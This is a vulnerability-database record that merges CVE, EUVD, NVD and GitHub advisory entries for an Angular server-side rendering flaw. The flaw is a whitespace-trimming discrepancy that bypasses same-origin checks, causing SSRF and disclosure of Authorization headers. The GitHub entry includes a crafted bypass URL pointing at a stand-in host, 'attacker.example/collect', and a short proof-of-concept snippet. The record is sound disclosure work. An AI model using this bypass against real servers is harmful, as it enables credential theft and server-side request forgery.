{"id":"CVE-2026-88056","revision":null,"records":[{"revision":"cc11d4f5d58b4f7f89fd3e86d72b8cf1","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-88056","aliases":[],"title":"Angular: SSRF and Cross-Origin Credential Disclosure via URL Resolution Discrepancy in SSR","description":"Angular is a development platform for building mobile and desktop web applications using TypeScript/JavaScript and other languages. Prior to 20.3.30, 21.2.22, and 22.1.4, Angular Server-Side Rendering in @angular/platform-server processes user-controlled resource or request URLs through HttpClient after application code validates them with WHATWG URL parsing. The resolveUrl and parseUrl utilities called String.prototype.trim(), which removed leading Unicode whitespace such as U+00A0 or U+FEFF after the input passed a same-origin check, converting a relative path into a protocol-relative attacker-controlled URL. In affected applications that attach sensitive server-side credentials such as Authorization headers to approved requests, relativeUrlsTransformerInterceptorFn then dispatched the request to the attacker-controlled origin, causing SSRF and credential disclosure. This issue is fixed in versions 20.3.30, 21.2.22, and 22.1.4.","state":0,"publishedAt":"2026-09-10T18:42:34.054+00:00","modifiedAt":"2026-09-15T14:56:52.167+00:00","affected":[{"ecosystem":"Vendor product","name":"angular","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"angular\",\n                    \"product\": \"angular\",\n                    \"versions\": [\n                        {\n                            \"version\": \"<= 19.2.25\",\n                            \"status\": \"affected\"\n                        },\n                        {\n                            \"version\": \">= 20.0.0, < 20.3.30\",\n                            \"status\": \"affected\"\n                        },\n                        {\n                            \"version\": \">= 21.0.0, < 21.2.22\",\n                            \"status\": \"affected\"\n                        },\n                        {\n                            \"version\": \">= 22.0.0, < 22.1.4\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N","score":8.6,"severity":"HIGH"}],"references":["https://github.com/angular/angular/security/advisories/GHSA-f6mr-pjwc-34m4","https://github.com/angular/angular/commit/3e924cc8dbbb57f23b262cb8f0d7e2bd0673034c","https://github.com/angular/angular/commit/5aa6d97deb9ef1de14e23748b7fa74f97d183132","https://github.com/angular/angular/commit/71e52d1396b9cef98652929b73e08c4cde645970","https://github.com/angular/angular/releases/tag/v20.3.30","https://github.com/angular/angular/releases/tag/v21.2.22","https://github.com/angular/angular/releases/tag/v22.1.4"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-88056","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-88056","identifiers":["CVE-2026-88056"]},"retained":false,"historicalAffected":[]},{"revision":"7446536beeb84e2a9430a5a4d9b1c0eb","observedAt":"2026-11-11T17:03:26.605+00:00","statement":{"source":"euvd","id":"EUVD-2026-75675","aliases":["CVE-2026-88056","GHSA-f6mr-pjwc-34m4"],"title":"Angular is a development platform for building mobile and desktop web applications using TypeScript/JavaScript and other languages. Prior to 20.3.30, 21.2.22, and 22.1.4, Angular Server-Side Rendering in @angular/platform-server processes u…","description":"Angular is a development platform for building mobile and desktop web applications using TypeScript/JavaScript and other languages. Prior to 20.3.30, 21.2.22, and 22.1.4, Angular Server-Side Rendering in @angular/platform-server processes user-controlled resource or request URLs through HttpClient after application code validates them with WHATWG URL parsing. The resolveUrl and parseUrl utilities called String.prototype.trim(), which removed leading Unicode whitespace such as U+00A0 or U+FEFF after the input passed a same-origin check, converting a relative path into a protocol-relative attacker-controlled URL. In affected applications that attach sensitive server-side credentials such as Authorization headers to approved requests, relativeUrlsTransformerInterceptorFn then dispatched the request to the attacker-controlled origin, causing SSRF and credential disclosure. This issue is fixed in versions 20.3.30, 21.2.22, and 22.1.4.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N","score":8.6,"severity":null}],"references":["https://github.com/angular/angular/security/advisories/GHSA-f6mr-pjwc-34m4","https://github.com/angular/angular/commit/3e924cc8dbbb57f23b262cb8f0d7e2bd0673034c","https://github.com/angular/angular/commit/5aa6d97deb9ef1de14e23748b7fa74f97d183132","https://github.com/angular/angular/commit/71e52d1396b9cef98652929b73e08c4cde645970","https://github.com/angular/angular/releases/tag/v20.3.30","https://github.com/angular/angular/releases/tag/v21.2.22","https://github.com/angular/angular/releases/tag/v22.1.4"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-75675","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Sep 10, 2026, 6:42:34 PM","dateUpdated":"Sep 15, 2026, 2:56:52 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. 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Prior to 20.3.30, 21.2.22, and 22.1.4, Angular Server-Side Rendering in @angular/platform-server processes user-controlled resource or request URLs through HttpClient after application code validates them with WHATWG URL parsing. The resolveUrl and parseUrl utilities called String.prototype.trim(), which removed leading Unicode whitespace such as U+00A0 or U+FEFF after the input passed a same-origin check, converting a relative path into a protocol-relative attacker-controlled URL. In affected applications that attach sensitive server-side credentials such as Authorization headers to approved requests, relativeUrlsTransformerInterceptorFn then dispatched the request to the attacker-controlled origin, causing SSRF and credential disclosure. This issue is fixed in versions 20.3.30, 21.2.22, and 22.1.4.","state":0,"publishedAt":"2026-09-10T19:17:41.477+00:00","modifiedAt":"2026-09-29T19:02:56.377+00:00","affected":[],"metrics":[{"system":"CVSS 4.0 · security-advisories@github.com · Secondary","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","score":8.6,"severity":"HIGH"},{"system":"CVSS 3.1 · nvd@nist.gov · Primary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","score":9.1,"severity":"CRITICAL"}],"references":["https://github.com/angular/angular/commit/3e924cc8dbbb57f23b262cb8f0d7e2bd0673034c","https://github.com/angular/angular/commit/5aa6d97deb9ef1de14e23748b7fa74f97d183132","https://github.com/angular/angular/commit/71e52d1396b9cef98652929b73e08c4cde645970","https://github.com/angular/angular/releases/tag/v20.3.30","https://github.com/angular/angular/releases/tag/v21.2.22","https://github.com/angular/angular/releases/tag/v22.1.4","https://github.com/angular/angular/security/advisories/GHSA-f6mr-pjwc-34m4"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-88056","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Analyzed","weaknesses":["CWE-918"],"productCriteria":["cpe:2.3:a:angular:angular:*:*:*:*:*:node.js:*:*"],"sourceDates":{"published":"2026-09-10T19:17:41.477","lastModified":"2026-09-29T19:02:56.377"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-88056","identifiers":["CVE-2026-88056"]},"retained":false,"historicalAffected":[]},{"revision":"0c0d65de4a5b4ffba9850f0479999285","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-f6mr-pjwc-34m4","aliases":["CVE-2026-88056"],"title":"Angular: SSRF and Cross-Origin Credential Disclosure via URL Resolution Discrepancy in SSR","description":"### Summary\nA discrepancy between WHATWG URL parsing and Angular SSR's URL resolution allows attackers to bypass same-origin checks and cause Server-Side Request Forgery (SSRF), potentially leaking sensitive server-side credentials.\n\n### Technical Description\nWhen applications validate incoming URLs using the WHATWG URL standard (`new URL(input, trustedOrigin)`), Unicode whitespace characters (such as NO-BREAK SPACE `U+00A0` or ZERO WIDTH NO-BREAK SPACE `U+FEFF`) are not stripped and are evaluated as part of a same-origin relative path (e.g. `http://trusted-origin/%C2%A0//attacker.example/collect`). Consequently, these URLs successfully pass application-level same-origin checks.\n\nHowever, `@angular/platform-server`'s URL resolution utility (`resolveUrl` / `parseUrl`) previously executed `String.prototype.trim()`. Because JavaScript's `String.prototype.trim()` strips all Unicode whitespace (including `U+00A0`), the leading non-breaking space was removed, converting the string into a cross-origin protocol-relative URL (`//attacker.example/collect`). When resolved during server-side rendering (such as in `relativeUrlsTransformerInterceptorFn`), this caused the HTTP request to be dispatched to the attacker-controlled origin (`http://attacker.example/collect`), leaking any credentials (such as `Authorization` headers) attached by the application for the intended same-origin request.\n\n### Impact & Reachability\n* **Reachability**: The vulnerability affects Angular Server-Side Rendering (SSR) applications where user-controlled input influences resource or request URLs processed by Angular's `HttpClient`, an application-level same-origin check is performed before dispatching, and sensitive server-side credentials (such as API keys or Bearer tokens) are attached to approved requests.\n* **Impact**: Successful exploitation allows attackers to bypass same-origin validation, triggering Server-Side Request Forgery (SSRF) and leaking sensitive server-side credentials attached to the request.\n\n\n**Proof of Concept:**\n```ts\n// Interceptor performing same-origin validation\nconst trustedOrigin = new URL('http://localhost:4000/');\nconst target = new URL(req.urlWithParams, trustedOrigin);\n\nif (target.origin !== trustedOrigin.origin) {\n  throw new Error('Cross-origin request blocked');\n}\n\n// Request passes validation, server attaches sensitive credential:\nconst authenticatedReq = req.clone({\n  headers: req.headers.set('Authorization', 'Bearer SERVER-SECRET-TOKEN'),\n});\n\n// @angular/platform-server previously trimmed the URL, converting it into\n// //attacker.example/collect and routing the credential to the attacker.\n```\n\n### Workarounds\n* Validate and sanitize input URLs to disallow leading Unicode whitespace characters (such as `\\u00A0`) before performing origin checks or passing them to `HttpClient`.\n* Avoid relying solely on `new URL(input, trustedOrigin).origin` for authorization if the input string may be trimmed or processed by utilities that normalize whitespace differently from the WHATWG URL standard.","state":0,"publishedAt":"2026-09-10T20:19:43+00:00","modifiedAt":"2026-09-10T20:30:04.4425749+00:00","affected":[{"ecosystem":"npm","name":"@angular/platform-server","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"22.0.0"},{"kind":"fixed","version":"22.1.4"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"npm","name":"@angular/platform-server","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"21.0.0"},{"kind":"fixed","version":"21.2.22"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"npm","name":"@angular/platform-server","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"20.0.0"},{"kind":"fixed","version":"20.3.30"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"npm","name":"@angular/platform-server","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"last_affected","version":"19.2.25"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V4","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/angular/angular/security/advisories/GHSA-f6mr-pjwc-34m4","https://github.com/angular/angular/commit/3e924cc8dbbb57f23b262cb8f0d7e2bd0673034c","https://github.com/angular/angular/commit/5aa6d97deb9ef1de14e23748b7fa74f97d183132","https://github.com/angular/angular/commit/71e52d1396b9cef98652929b73e08c4cde645970","https://github.com/angular/angular/commit/9339a7a2de437ed93f9cc3da7f32d0100412d599","https://github.com/angular/angular","https://github.com/angular/angular/releases/tag/v20.3.30","https://github.com/angular/angular/releases/tag/v21.2.22","https://github.com/angular/angular/releases/tag/v22.1.4"],"sourceUrl":"https://github.com/advisories/GHSA-f6mr-pjwc-34m4","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-f6mr-pjwc-34m4","identifiers":["GHSA-f6mr-pjwc-34m4","CVE-2026-88056"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. 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